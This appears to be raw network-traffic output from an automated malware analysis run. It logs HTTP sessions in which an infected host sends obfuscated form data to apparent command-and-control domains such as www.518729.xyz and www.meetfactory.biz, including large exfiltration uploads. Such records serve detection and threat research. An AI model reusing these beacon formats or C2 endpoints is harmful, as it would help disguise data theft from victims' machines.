Aug 27, 2024 08:03:40.983187914 CEST	3867	OUT	Data Raw: 37 6b 7a 6b 35 75 44 35 55 52 52 63 34 4c 6f 4b 36 75 6b 37 4b 33 37 30 42 4d 46 56 4c 35 53 34 72 49 61 6f 79 42 4e 55 34 6c 43 51 78 51 6a 62 78 4e 4f 77 32 4e 71 47 53 64 48 39 65 4b 37 64 44 45 31 6a 43 32 57 69 59 75 4a 57 6d 39 35 79 54 79 Data Ascii: 7kzk5uD5URRc4LoK6uk7K370BMFVL5S4rIaoyBNU4lCQxQjbxNOw2NqGSdH9eK7dDE1jC2WiYuJWm95yTyQ1cBeDLVJ/zhMWK1edFupElzT6xuWnxDeosT6xHTXUvwqEVVOFtuw7CRXpHFlaDciOYwuhWcHx+5Xeyz+G7SMZlepnSlchCRz1xhQqcx/FgUojzIt944zX7MYNAGj4J0TV0jsUd5kmZ5zC14KYPT+IzFVZUUYjAdu
Aug 27, 2024 08:03:40.983236074 CEST	6445	OUT	Data Raw: 39 46 30 69 76 59 79 66 63 6a 67 42 6a 31 4a 4f 57 38 66 32 4b 77 56 69 51 6e 41 42 6a 4c 31 44 49 68 72 69 61 63 52 30 35 56 35 68 4c 75 70 74 59 39 36 54 49 45 68 63 2f 57 67 35 63 77 6a 4b 63 48 57 5a 62 62 51 51 4f 2f 4e 43 59 56 51 6a 2f 75 Data Ascii: 9F0ivYyfcjgBj1JOW8f2KwViQnABjL1DIhriacR05V5hLuptY96TIEhc/Wg5cwjKcHWZbbQQO/NCYVQj/uj4I7UhtvLrMkFTPltEWRU03CxW47JDBpzYjyyL71wH2Mr2yqxO3CkmHKlB3wC7buwSFe8BE9pU0c6PJRCgvYpHj20m855BuNzRMcT9UMv6rsAyVUQsorGHt22arNurQUds6QSKZZPPD9iQR2CJevvW2fThCzHm3CY
Aug 27, 2024 08:03:41.115881920 CEST	1289	OUT	Data Raw: 75 6a 71 73 75 4c 5a 52 4e 56 2b 43 6f 4f 72 65 6b 33 45 46 6f 41 6d 7a 50 46 51 32 38 4e 44 6c 6d 4b 39 6e 47 50 2f 72 53 64 70 38 63 49 47 38 34 31 6d 76 4e 31 59 78 68 63 57 76 79 59 76 2f 6f 38 73 2f 55 62 4d 66 50 67 7a 33 63 31 72 75 4c 73 Data Ascii: ujqsuLZRNV+CoOrek3EFoAmzPFQ28NDlmK9nGP/rSdp8cIG841mvN1YxhcWvyYv/o8s/UbMfPgz3c1ruLsUGeNTOu0sH9KinEFYdr23FWCPPTnKrJrRxiuq6OB1T8oZhNBQyOkD1X09UDJsYmRYKe/0hXASdbtQl0jGgPl/1xu030dusHdAkqm0Q8PWGRozPEJESEqNkpdKZUXOhxio9pCksWXF8TJQN7UslQFFUpbi0G7JRwvL
Aug 27, 2024 08:03:41.116055012 CEST	11601	OUT	Data Raw: 48 2b 38 33 56 37 30 4e 4e 54 49 53 65 63 64 6b 36 31 4a 46 65 67 4d 62 4d 4f 48 2f 47 64 57 73 58 44 48 46 50 4b 57 46 4e 42 48 47 50 52 58 53 50 65 71 2b 56 61 76 75 55 76 62 34 4b 33 53 74 43 54 78 45 33 30 42 41 33 6c 4d 34 59 59 34 42 4c 6c Data Ascii: H+83V70NNTISecdk61JFegMbMOH/GdWsXDHFPKWFNBHGPRXSPeq+VavuUvb4K3StCTxE30BA3lM4YY4BLl32zZFpYzbqYGdJa2kAHA9LV1CRPT5p0BcUsZge3eMhvqN3zsW9ODdJ6YfJ3raH061AHilZRdDnTKbSbWHLTPHKEOZ4XYmCy3o5y2otntMgabunHqndceLiWSQMnobNniRCrIXMjesBL8KrN2VcOnKAirqv5aIV2AQ
Aug 27, 2024 08:03:41.116224051 CEST	7734	OUT	Data Raw: 4a 54 79 6d 6b 65 58 64 6e 48 34 62 54 4e 4e 54 4e 47 52 6a 43 4c 41 6b 30 52 50 67 4e 52 35 6a 4c 59 38 46 41 64 4d 72 56 71 45 69 53 30 73 31 69 76 4d 56 4a 41 6e 41 4b 32 2f 55 6f 53 4d 4c 34 58 35 47 67 4e 4e 67 64 6c 67 54 5a 54 38 43 56 4d Data Ascii: JTymkeXdnH4bTNNTNGRjCLAk0RPgNR5jLY8FAdMrVqEiS0s1ivMVJAnAK2/UoSML4X5GgNNgdlgTZT8CVM1063+ch13AoBpSHOp7L77w9RP066RaStCZ0nGN2oVm1cED+ADKJBR/8rpEOeQv5ZBtkdRskJF9VfGK3ejXzWdfTpNNT8uunV43g+DxsMDofjMqFcGDz+KQZXRf+orwTOLUoF+VZ2cs35pHIx+1B0tpe2RWKepVC43
Aug 27, 2024 08:03:41.116429090 CEST	5156	OUT	Data Raw: 63 61 79 61 71 48 45 77 69 7a 47 4d 33 46 34 41 32 6d 36 33 61 48 66 41 66 33 63 46 38 64 61 5a 6f 50 71 51 74 35 73 33 4a 58 76 54 6f 6d 4b 34 6d 58 6f 6d 67 7a 4c 6d 31 44 71 74 5a 30 78 64 56 69 2b 6b 54 78 76 76 48 57 72 65 72 35 2f 69 4a 74 Data Ascii: cayaqHEwizGM3F4A2m63aHfAf3cF8daZoPqQt5s3JXvTomK4mXomgzLm1DqtZ0xdVi+kTxvvHWrer5/iJt/ntLVebAKB6yParMRNzRS6Ut94fIoyEuNVLL7/Wb7igTqFp3YPBOPosLSziq8G+aFpJzE26bzbnL/XRxB9B8W/j73K33n96tkCfm3G/7dK8uvXywiT+VjUXbDYxxFHef9tcQaqQe9BwVsOHW9RaxpUOko82hTY2tY
Aug 27, 2024 08:03:41.117100000 CEST	778	IN	HTTP/1.1 413 Request Entity Too Large server: openresty/1.13.6.1 date: Tue, 27 Aug 2024 06:03:41 GMT content-type: text/html content-length: 607 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 33 20 52 65 71 75 65 73 74 20 45 6e 74 69 74 79 20 54 6f 6f 20 4c 61 72 67 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 33 20 52 65 71 75 65 73 74 20 45 6e 74 69 74 79 20 54 6f 6f 20 4c 61 72 67 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 33 2e 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d [TRUNCATED] Data Ascii: <html><head><title>413 Request Entity Too Large</title></head><body bgcolor="white"><center><h1>413 Request Entity Too Large</h1></center><hr><center>openresty/1.13.6.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 27, 2024 08:03:41.248465061 CEST	1289	OUT	Data Raw: 76 36 2f 49 4e 37 38 4e 6e 44 54 44 53 31 52 4a 2f 44 54 51 4b 71 4f 48 69 63 65 53 44 49 64 44 59 58 6c 38 4a 57 44 31 48 76 4f 72 63 56 4c 68 35 73 56 59 37 70 6e 69 6d 2f 50 66 51 6e 38 53 71 6e 2b 75 51 72 4e 43 55 78 53 71 6e 36 32 64 35 48 Data Ascii: v6/IN78NnDTDS1RJ/DTQKqOHiceSDIdDYXl8JWD1HvOrcVLh5sVY7pnim/PfQn8Sqn+uQrNCUxSqn62d5H05PVlHLwmOHGHOS0sjnij8P3t6R3u17IJPlIHo05Mwt6nP8CA8lKDiZA0gZhgdQwoj2qceIBYe9hbIa/L/HCVU5cGZ3bmCgdHeYUkDrtkgN1z17guseEvHfObJ0RrqkejDo56rXHHMAwzRK+eOrVP3Mc7jmsyPOgc
Aug 27, 2024 08:03:41.248630047 CEST	2578	OUT	Data Raw: 6c 4b 4e 4f 63 46 59 34 7a 69 52 6c 45 58 56 31 49 4e 67 69 61 36 75 68 58 74 55 77 57 38 52 4f 39 68 69 36 78 52 34 41 4a 65 5a 30 59 55 79 4f 54 6e 53 2f 4a 56 53 76 46 30 69 45 6e 7a 66 71 65 58 74 63 31 6b 4c 6a 72 30 63 54 55 75 57 64 31 48 Data Ascii: lKNOcFY4ziRlEXV1INgia6uhXtUwW8RO9hi6xR4AJeZ0YUyOTnS/JVSvF0iEnzfqeXtc1kLjr0cTUuWd1H7UUfUhF6sarMOgD7Qzz3a+Uogfp7XGaQImszMO7ZfiwLJjq8BrXCzMhYxzsQROoG7vJEs393CHy5WPjx9k0sdtwD8eF3v1QC6907FcceNS8QFBEXJBXMXOT+8Igy8xs7A2L4bB1fOEoOhYsEf3BF9NiPj/L8lY4ly
Aug 27, 2024 08:03:41.248703957 CEST	6445	OUT	Data Raw: 78 41 30 78 68 54 6f 47 32 47 2b 71 71 56 64 44 4a 53 49 79 4e 54 7a 4b 2f 6c 6d 64 47 73 34 6e 70 73 53 79 4e 75 4e 5a 61 6d 42 56 51 55 55 67 5a 31 4c 7a 39 4a 33 4b 73 6a 4d 68 71 38 35 57 55 61 6a 73 65 2b 49 6b 2f 6c 64 6c 63 4b 4f 67 56 68 Data Ascii: xA0xhToG2G+qqVdDJSIyNTzK/lmdGs4npsSyNuNZamBVQUUgZ1Lz9J3KsjMhq85WUajse+Ik/ldlcKOgVhvdwu4hW2yDssLeK2QbjI42mgBa10tG8xpoo82P6ysU51puswDSc1ashcOO6mWF2B+n1/oXSIQ9n7d26PCExZM3ZW06CBViYvncpEGpaYT/XpDe+3kZedulPgojax/KYUgFtn0ccacHveND4nRnab7IM2RqeqUlg/q
Aug 27, 2024 08:03:41.248868942 CEST	2578	OUT	Data Raw: 6c 46 5a 61 37 72 51 70 76 79 76 50 66 64 78 50 54 44 55 4b 71 33 30 6a 38 69 75 44 67 46 61 34 58 43 34 4c 39 71 38 6d 72 38 68 4d 54 72 31 71 44 51 7a 69 56 72 4a 61 42 39 71 42 71 62 35 2f 63 44 4a 62 56 30 47 39 37 36 50 67 33 6a 66 49 4b 67 Data Ascii: lFZa7rQpvyvPfdxPTDUKq30j8iuDgFa4XC4L9q8mr8hMTr1qDQziVrJaB9qBqb5/cDJbV0G976Pg3jfIKgNlA4Q+PJtz+0CHWx+fxN78sQku8QAGktZh/ob5ttCV73La2yCO5n8DdgqPGU0iYljfodOfsER2x43fUR3ZHElBH9TMTsiqAfpXeuHm9bibFscYkJEbRWR86bVdiI6446YLucEEGWFQ+JZ171fLc8QZyXIgvUgyUTy

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.11.20	49903	96.126.123.244	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:03:43.647979975 CEST	549	OUT	GET /o0e7/?ij60MtY=xHuhihA5a0RCQDr7UqpawT1cYL9BOqgbdgZ3/38wD7lrSrU6llHUt19Sg65W4AIkiHRz640OtFHlOrepbmqCRMN0Rn3a8HvHNm6R1WOOyMUaxc5SdqEBk4o=&wXB=brv4Erb HTTP/1.1 Host: www.meetfactory.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 08:03:43.782824039 CEST	1289	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Tue, 27 Aug 2024 06:03:43 GMT content-type: text/html transfer-encoding: chunked connection: close Data Raw: 34 39 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 37 30 2e 6d 65 65 74 66 61 63 [TRUNCATED] Data Ascii: 498<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <noscript> <meta http-equiv="refresh" content="0;url=http://www70.meetfactory.biz/" /> </noscript> <meta http-equiv="refresh" content="5;url=http://www70.meetfactory.biz/" /> </head> <body onload="do_onload()"> <script type="text/javascript"> function do_onload() { window.top.location.href = "http://www.meetfactory.biz/o0e7?gp=1&js=1&uuid=1724738623.0026592825&other_args=eyJ1cmkiOiAiL28wZTciLCAiYXJncyI6ICJpajYwTXRZPXhIdWhpaEE1YTBSQ1FEcjdVcXBhd1QxY1lMOUJPcWdiZGdaMy8zOHdEN2xyU3JVNmxsSFV0MTlTZzY1VzRBSWtpSFJ6NjQwT3RGSGxPcmVwYm1xQ1JNTjBSbjNhOEh2SE5tNlIxV09PeU1VYXhjNVNkcUVCazRvPSZ3WEI9YnJ2NEVyYiIsICJyZWZlcmVyIjogIiIsICJhY2NlcHQiOiAidGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhd [TRUNCATED]
Aug 27, 2024 08:03:43.782836914 CEST	55	IN	Data Raw: 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: } </script> </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.11.20	49904	23.231.158.3	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:03:49.107882023 CEST	808	OUT	POST /s1mg/ HTTP/1.1 Host: www.518729.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.518729.xyz Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.518729.xyz/s1mg/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 37 53 39 43 74 55 65 43 54 76 7a 71 6c 46 4a 47 38 6e 5a 72 48 4f 54 72 33 2b 47 76 34 58 6a 6a 73 45 42 4d 79 58 57 4a 32 5a 7a 63 4a 67 66 71 63 4f 67 37 4b 76 41 6c 79 4e 4d 47 39 79 4c 74 56 7a 6c 64 65 45 6c 53 56 4f 31 64 42 55 51 31 41 62 52 30 57 4a 62 31 61 74 6d 44 6a 6c 51 43 4c 69 4d 6f 70 31 52 6e 36 77 50 71 64 42 36 31 56 76 4e 52 42 4b 78 7a 44 75 4f 4a 52 35 43 62 31 50 6a 75 47 53 48 6f 6b 66 68 71 63 49 51 67 54 50 45 49 58 63 61 56 4e 4a 30 63 56 76 73 74 43 4c 4e 49 50 48 4a 42 57 76 69 6c 44 53 70 4b 5a 4c 4f 61 2f 6d 4d 31 64 67 68 54 76 6a 4a 31 6f 67 3d 3d Data Ascii: ij60MtY=7S9CtUeCTvzqlFJG8nZrHOTr3+Gv4XjjsEBMyXWJ2ZzcJgfqcOg7KvAlyNMG9yLtVzldeElSVO1dBUQ1AbR0WJb1atmDjlQCLiMop1Rn6wPqdB61VvNRBKxzDuOJR5Cb1PjuGSHokfhqcIQgTPEIXcaVNJ0cVvstCLNIPHJBWvilDSpKZLOa/mM1dghTvjJ1og==

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.11.20	49905	23.231.158.3	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:03:51.942110062 CEST	1148	OUT	POST /s1mg/ HTTP/1.1 Host: www.518729.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.518729.xyz Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.518729.xyz/s1mg/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 37 53 39 43 74 55 65 43 54 76 7a 71 6b 67 42 47 2b 47 5a 72 46 75 54 71 30 2b 47 76 78 33 6a 6e 73 45 64 4d 79 53 75 6a 32 4d 62 63 4a 41 76 71 64 50 67 37 4e 76 41 6c 36 74 4d 44 35 79 4c 6d 56 7a 70 72 65 46 5a 53 56 4f 68 64 41 6e 59 31 52 62 52 37 64 70 62 32 4d 64 6d 34 6e 6c 51 79 4c 69 78 44 70 30 31 6e 36 68 6a 71 63 48 6d 31 52 2b 4e 53 57 71 78 31 55 65 4f 4b 59 5a 43 56 31 50 2b 52 47 54 4f 54 6c 71 70 71 63 72 49 67 53 50 45 4a 64 73 61 53 41 70 31 65 62 2b 56 37 4f 76 78 59 66 32 70 79 55 4f 6d 6a 42 42 31 6e 58 36 47 45 6d 31 59 37 46 78 4e 46 35 43 67 6d 30 53 63 45 4d 34 59 47 50 39 53 2f 68 4d 71 49 4e 4b 71 36 61 70 4f 4f 33 63 36 54 4e 4d 4b 65 68 49 39 32 69 74 75 78 4f 51 4e 4c 70 66 6e 79 47 6f 43 46 73 6a 4e 31 41 67 68 2f 69 4a 4d 37 65 4a 2f 5a 77 77 72 65 63 64 72 58 2b 41 41 64 6e 54 77 4a 52 4a 53 4a 4d 64 38 75 33 6b 72 73 63 64 73 4b 52 6f 52 75 32 74 6c 6b 4d 74 2b 4c 65 63 76 6b 4f 35 54 45 76 49 31 44 71 6e 4f 4a 73 31 41 64 2b 36 4c 73 64 76 [TRUNCATED] Data Ascii: ij60MtY=7S9CtUeCTvzqkgBG+GZrFuTq0+Gvx3jnsEdMySuj2MbcJAvqdPg7NvAl6tMD5yLmVzpreFZSVOhdAnY1RbR7dpb2Mdm4nlQyLixDp01n6hjqcHm1R+NSWqx1UeOKYZCV1P+RGTOTlqpqcrIgSPEJdsaSAp1eb+V7OvxYf2pyUOmjBB1nX6GEm1Y7FxNF5Cgm0ScEM4YGP9S/hMqINKq6apOO3c6TNMKehI92ituxOQNLpfnyGoCFsjN1Agh/iJM7eJ/ZwwrecdrX+AAdnTwJRJSJMd8u3krscdsKRoRu2tlkMt+LecvkO5TEvI1DqnOJs1Ad+6LsdvI1Ry5sEuI/Kfi3AnuxNGkMsA4yMqdl/QjThh+M3A/dU/HVrtDlBbHBZyS+WSIJagEUH/N5zKxosmFeY9i1wPWaAD09XKL2g9zL4BuGY0PklUjL9i7Hkeco+vY8xwEEVbm+pD1ZDNtZJ7cDr9e+glV1qb6ch7xPMrDYUvs7IE3tQC96Xuph3/4DApL5nofFi6ZuU6ORQw9a8hc=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.11.20	49906	23.231.158.3	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:03:54.797867060 CEST	2578	OUT	POST /s1mg/ HTTP/1.1 Host: www.518729.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.518729.xyz Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.518729.xyz/s1mg/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 37 53 39 43 74 55 65 43 54 76 7a 71 6b 67 42 47 2b 47 5a 72 46 75 54 71 30 2b 47 76 78 33 6a 6e 73 45 64 4d 79 53 75 6a 32 4d 44 63 49 7a 6e 71 63 73 34 37 4d 76 41 6c 77 4e 4d 43 35 79 4c 33 56 7a 42 33 65 46 55 74 56 4d 5a 64 41 30 67 31 52 4f 46 37 59 70 62 33 53 4e 6d 41 6a 6c 51 59 4c 69 4e 58 70 30 51 61 36 77 6e 71 64 41 4b 31 56 4e 56 52 4d 61 78 7a 55 65 4f 47 63 5a 44 6f 31 50 72 4d 47 54 43 54 6c 75 56 71 64 5a 41 67 55 59 51 4a 65 4d 61 52 4c 4a 31 72 55 65 56 4b 4f 75 52 71 66 32 70 45 55 50 53 6a 42 43 74 6e 57 39 36 44 6d 56 59 37 61 42 4e 45 72 79 63 69 30 53 6f 63 4d 34 38 47 50 36 75 2f 69 73 71 49 49 70 79 35 64 4a 4f 41 7a 63 36 2b 66 38 57 57 68 4d 56 45 69 73 4b 78 4f 42 70 4c 6f 73 2f 79 44 4b 71 46 6d 6a 4e 7a 64 51 68 73 34 35 4d 52 65 4a 50 2f 77 78 4c 6b 63 64 66 58 6b 6b 55 64 69 32 51 4f 59 4a 53 31 41 39 38 37 38 45 6e 65 63 63 42 52 52 6f 52 2b 32 70 64 6b 4d 64 4f 4c 64 59 37 6c 4f 70 54 66 70 49 31 73 7a 32 79 66 73 7a 6c 51 2b 35 62 47 64 6f [TRUNCATED] Data Ascii: ij60MtY=7S9CtUeCTvzqkgBG+GZrFuTq0+Gvx3jnsEdMySuj2MDcIznqcs47MvAlwNMC5yL3VzB3eFUtVMZdA0g1ROF7Ypb3SNmAjlQYLiNXp0Qa6wnqdAK1VNVRMaxzUeOGcZDo1PrMGTCTluVqdZAgUYQJeMaRLJ1rUeVKOuRqf2pEUPSjBCtnW96DmVY7aBNEryci0SocM48GP6u/isqIIpy5dJOAzc6+f8WWhMVEisKxOBpLos/yDKqFmjNzdQhs45MReJP/wxLkcdfXkkUdi2QOYJS1A9878EneccBRRoR+2pdkMdOLdY7lOpTfpI1sz2yfszlQ+5bGdo41QS5sBNw8Cvi6fXunJGkbsAEUMrZ1/hfTgRuM1g/eEPHJgNDnFbHBZyWAWSUJa1wUBNF5ws5oqmFEY9iewPa5AD8TXL7Ig+fL4weGMVPl10jK3C7cgeQz+rw0xz95Ws++oDlZIttWMbcI9tf7klZpqbmqh71fMoDYFYIlbVXmLjMtSKtB1PwkF+L3jZTPksNWWMyvBBdmqnqA13/f8mZcq0I6m72uUmj4tSncpO6cOnQ61N8T0LX7CUH6wfQekqIps6swMhFgzsUrn7YhRHTaZNhV6yR1yUsWzBDT7fKMFdJQl5sZmyMPJwCtnjRS24LjJwpOgZA/VehYBCqH1NI4t/IknGlRZsap9mDxAHnQUkK3QQEkaOUqHcmNxeAi8R0cmZz4sUr9C7QLDWU+qbBpUFW4oCqp8yEuXy3+7lSNsAGYEtLJqQiDaA6YZ3x2MA0vulOw1qLkmWOVQIlVUJ57Uzy6DAA6T6rpAqFtRLR3mZdmF0I/oaAA36eQRq+0EYY03bhVOnCmLM0p/IfosivljJYTlyGYAYZgU0rj6s3q6300XGlTd3oybrhB9W5vREwrVPMdTHLFGeGKe0s55/B5wD9QWG+mhsgL5gctQr5Qt8D2BkTviYCSjHom+rylG61LhFgG+vPjmTOHh3WOpk924y1BR5GVlFIw [TRUNCATED]
Aug 27, 2024 08:03:54.797938108 CEST	9023	OUT	Data Raw: 73 74 4c 56 47 66 64 7a 39 71 51 42 34 57 52 50 4d 4c 53 31 67 51 7a 6f 2b 76 71 4a 61 33 79 5a 47 41 4a 79 51 4d 38 61 41 35 71 37 6f 6e 4f 4c 66 5a 39 68 5a 31 33 34 64 6c 56 5a 38 51 74 74 34 4b 50 61 35 48 62 39 76 53 54 4a 59 54 32 53 4e 77 Data Ascii: stLVGfdz9qQB4WRPMLS1gQzo+vqJa3yZGAJyQM8aA5q7onOLfZ9hZ134dlVZ8Qtt4KPa5Hb9vSTJYT2SNw9zqKrDZVmqeDBIlP/5NCNvu1TcMtRwFnfS9v7jeOwPIncmI1+OVskhslMGPKo/DxfPmzVt6KEmrxqMpwq9pBQxBYc3upVTHZUqGOLCVx7eiveNMwNeP9denVrmrojweBKBTtIO/QWNiP180yEXy9tMd9q9QKeByCC
Aug 27, 2024 08:03:54.797962904 CEST	1289	OUT	Data Raw: 4f 4f 6a 33 6f 66 36 49 71 47 6a 67 6c 67 35 31 48 70 4e 6e 66 44 4b 30 5a 42 4b 79 4f 73 38 76 56 68 65 77 63 79 2b 50 2f 73 37 67 68 56 4a 73 68 54 47 4c 31 6e 36 57 45 4b 58 41 4a 37 52 6a 70 73 42 47 71 57 4e 71 49 47 4a 7a 4c 49 67 4d 75 7a Data Ascii: OOj3of6IqGjglg51HpNnfDK0ZBKyOs8vVhewcy+P/s7ghVJshTGL1n6WEKXAJ7RjpsBGqWNqIGJzLIgMuzKqFJY8p4u6zqfcxtn5crLej+yxI1yYLzA5ZEfntePm1Qv3EFw01esgoWy31WBcNDEYPFVqaKkxpW1K5kkI+8MVfvi0LyxJJrfENEINv3rA4NnVYfO1umK9f3tPd5zkngwXCek0+Ho5waPlgU6B6OZpUWiOfi4yx0A
Aug 27, 2024 08:03:55.113825083 CEST	2578	OUT	Data Raw: 67 48 76 5a 56 4c 70 4d 36 42 7a 70 65 6c 48 77 35 73 47 43 6a 55 58 68 47 75 36 6a 72 6c 43 63 33 32 51 50 45 65 2f 37 72 51 78 35 62 48 52 56 70 55 4a 75 39 5a 69 4e 63 33 5a 46 36 6e 6b 4c 54 59 30 42 48 70 56 7a 4d 31 74 36 59 52 4a 77 4e 6e Data Ascii: gHvZVLpM6BzpelHw5sGCjUXhGu6jrlCc32QPEe/7rQx5bHRVpUJu9ZiNc3ZF6nkLTY0BHpVzM1t6YRJwNnNYe3ZWc2Q9x8GrriRFuz1oEPOHcorgJs/mg8eQvBqFnaAcixvAFtpHR3DfcyUvG5q7TEyehVGIeLLZuwoHiN7mGn60DeNSUeE6Zd1YRLxsmrCEZDcBRd7ZXcReOdNEehHWdK3C8IX5lYbLPBFgdkWIngbUCd8F8z1
Aug 27, 2024 08:03:55.113998890 CEST	5156	OUT	Data Raw: 57 39 35 76 62 51 77 77 5a 70 38 31 77 70 67 73 4d 68 54 53 2b 54 4d 56 77 30 68 64 56 62 6b 67 79 50 57 45 43 4d 47 76 6c 35 42 73 6b 57 66 79 76 53 67 2b 6f 34 46 47 2f 4a 72 79 4c 6a 6f 49 62 66 42 73 39 68 33 35 2f 35 37 43 4f 37 59 6e 72 73 Data Ascii: W95vbQwwZp81wpgsMhTS+TMVw0hdVbkgyPWECMGvl5BskWfyvSg+o4FG/JryLjoIbfBs9h35/57CO7Ynrs2dnrC+K+aYFgmVsEk50RFz2SSgcPCZZkeOt/uFOoOmlNKFdhh/MZ2Vw5LpeRxXk5LwFPCEV8rICOlzjWSKs0LoK0J6e9fZFB+Adbp7GqIVdQnLDvUgLgWs7m5gOc78HTETufKM80hxlXsnj/Tw7DGXI2Ct+XR67ew
